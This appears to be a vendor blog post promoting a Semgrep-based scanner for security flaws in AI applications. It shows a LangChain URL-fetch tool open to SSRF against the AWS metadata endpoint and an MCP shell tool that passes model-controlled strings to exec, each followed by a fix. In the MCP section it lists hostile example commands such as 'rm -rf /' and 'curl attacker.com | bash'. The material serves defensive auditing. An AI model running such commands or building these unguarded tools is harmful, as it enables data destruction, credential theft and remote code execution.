Explore our comprehensive resources on behavioral AI monitoring, compliance frameworks, and policy templates.
Start your compliance journey with HAIEC. Free assessment, automated evidence, audit-ready documentation.
Explore compliance frameworks:
Developer tools & integrations:
How @haiec/openai and @haiec/anthropic wrap the official SDKs to capture model usage, token counts, and costs automatically. The instrumentation pattern and privacy considerations.
Learn what AI vendor public security disclosures entail and how they impact AI security and compliance professionals.
Discover the essential questions to include in an AI vendor security questionnaire to ensure robust security and compliance in AI procurement.
A LangChain application I reviewed last month had a retrieval tool that accepted a URL from user input and fetched the content directly into the LLM context. No URL validation. No domain allowlist. No SSRF check. The user could ask the model to fetch http://169.254.169.254/latest/meta-data/ and the model would happily include the AWS metadata response in its next prompt.
I ran Semgrep with the default rulepack. It found nothing. I ran Snyk. Nothing. I ran CodeQL. Nothing. The vulnerability was real — an SSRF via tool argument — but the general-purpose SAST tools do not have rules for "LLM tool argument flows into HTTP fetch."
This is why AI AppSec exists. It is a static analysis package built on Semgrep 1.173.0 with a bundled rulepack of 122 detectors and 79 security checks specifically for AI applications and agents. It scans Python, TypeScript, JavaScript, JSX, and TSX. It recognizes LangChain, LlamaIndex, Vercel AI SDK, OpenAI SDK, and Anthropic SDK patterns.
Traditional SAST tools look for vulnerabilities that exist in all software: SQL injection, XSS, hardcoded secrets, path traversal. These matter in AI applications too. But AI applications have additional vulnerability classes that traditional tools do not cover:
General-purpose SAST tools do not have rules for these patterns because the patterns are specific to AI framework APIs. A Semgrep rule for "LangChain tool argument flows into requests.get" requires knowing the LangChain tool decorator syntax and the requests.get call pattern.
The rulepack covers 122 detectors across these concern families:
The 79 security checks verify whether specific security controls are present (e.g., "does this AI endpoint have input validation?") rather than detecting vulnerabilities directly.
AI AppSec does not build a custom AST parser. It uses Semgrep 1.173.0 as its execution engine. This is a deliberate choice.
Semgrep already supports Python, TypeScript, JavaScript, JSX, TSX, and 30+ other languages. It has a mature pattern matching syntax that can express cross-file data flow. It runs in CI/CD pipelines. It outputs SARIF. Building a custom parser would mean maintaining language support for every new framework version.
The tradeoff: AI AppSec requires Semgrep 1.173.0 installed separately. The exact version match is enforced because Semgrep rule syntax can change between versions. You install both:
npm install -g ai-appsec
pip install semgrep==1.173.0
The rulepack is bundled with the package. You do not need to write your own rules or configure anything. The scan_ai_security tool runs the full rulepack against your source code and returns structured findings.
Here is a LangChain tool that fetches a URL and passes the content to the LLM. This is the pattern I described at the start.
from langchain.tools import tool
import requests
@tool
def fetch_webpage(url: str) -> str:
"""Fetch a webpage and return its content."""
response = requests.get(url) # No URL validation, no SSRF check
return response.text
The user (or the LLM, influenced by untrusted content) can pass any URL. If the URL is http://169.254.169.254/latest/meta-data/, the tool fetches AWS metadata. The response goes into the LLM context, which means the LLM now has access to cloud credentials.
AI AppSec flags this with a detector in the SSRF concern family. The finding includes the file path, line number, the rule ID, and a fix suggestion.
The fix:
from langchain.tools import tool
import requests
from urllib.parse import urlparse
import ipaddress
import socket
@tool
def fetch_webpage(url: str) -> str:
"""Fetch a webpage and return its content."""
parsed = urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("Only HTTP(S) allowed")
# Resolve and check for private IPs
ip = socket.gethostbyname(parsed.hostname)
if ipaddress.ip_address(ip).is_private:
raise ValueError("Private IP addresses blocked")
response = requests.get(url, timeout=5)
return response.text[:10000] # Limit response size
Here is an MCP server tool that executes shell commands. This is a real pattern I have seen in production MCP servers.
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
import { exec } from "child_process";
import { z } from "zod";
const server = new McpServer({ name: "shell-server", version: "1.0.0" });
server.tool("run_command", { command: z.string() }, async ({ command }) => {
const { stdout } = await exec(command); // No command validation
return { content: [{ type: "text", text: stdout }] };
});
The LLM can be prompted to run any command. rm -rf /, curl attacker.com | bash, cat /etc/passwd. The tool accepts a raw string and passes it to exec without validation.
AI AppSec flags this in the tool abuse concern family. The detector recognizes the MCP tool handler pattern (via server.tool registration) and the exec call with an LLM-controlled argument.
The fix is to use an allowlist:
server.tool("run_command", { command: z.enum(["backup", "cleanup", "sync"]) }, async ({ command }) => {
const { stdout } = await execFile(command, []);
return { content: [{ type: "text", text: stdout }] };
});
z.enum restricts the argument to three values. execFile does not invoke a shell, so command chaining is not possible.
CLI usage:
ai-appsec scan ./src --format sarif --output results.sarif
MCP server integration (for AI agents like Claude, Cursor, Windsurf):
{
"mcpServers": {
"ai-appsec": {
"command": "npx",
"args": ["-y", "ai-appsec"]
}
}
}
The MCP server exposes one tool: scan_ai_security. An AI agent can call it to scan source code and receive structured findings with rule IDs, severity, file paths, and fix suggestions.
Each scan produces:
STILL_PRESENT, NEW, or NOT_VERIFIABLE for each finding.DISCOVERED, INTENTIONALLY_EXCLUDED, UNSUPPORTED, TARGETED, ENGINE_REPORTED_SCANNED, PARSE_FAILED, SUCCESSFULLY_ANALYZED.A PARTIAL scan cannot prove the absence of findings. The coverage accounting makes this explicit instead of hiding it.
AI AppSec is v0.1.0. It has real limitations:
scan_ai_security is implemented in v0.1. Additional tools (scan_tenant_isolation, verify_llm_content, check_deploy_security) are planned.AI AppSec is the SOURCE layer in the Developer Security family. It checks your source code before deployment. It does not check tenant boundaries (that is MCP Tenant Isolation) or runtime model I/O (that is LLMVerify).
If you ship AI applications, run all three. Each catches what the others cannot.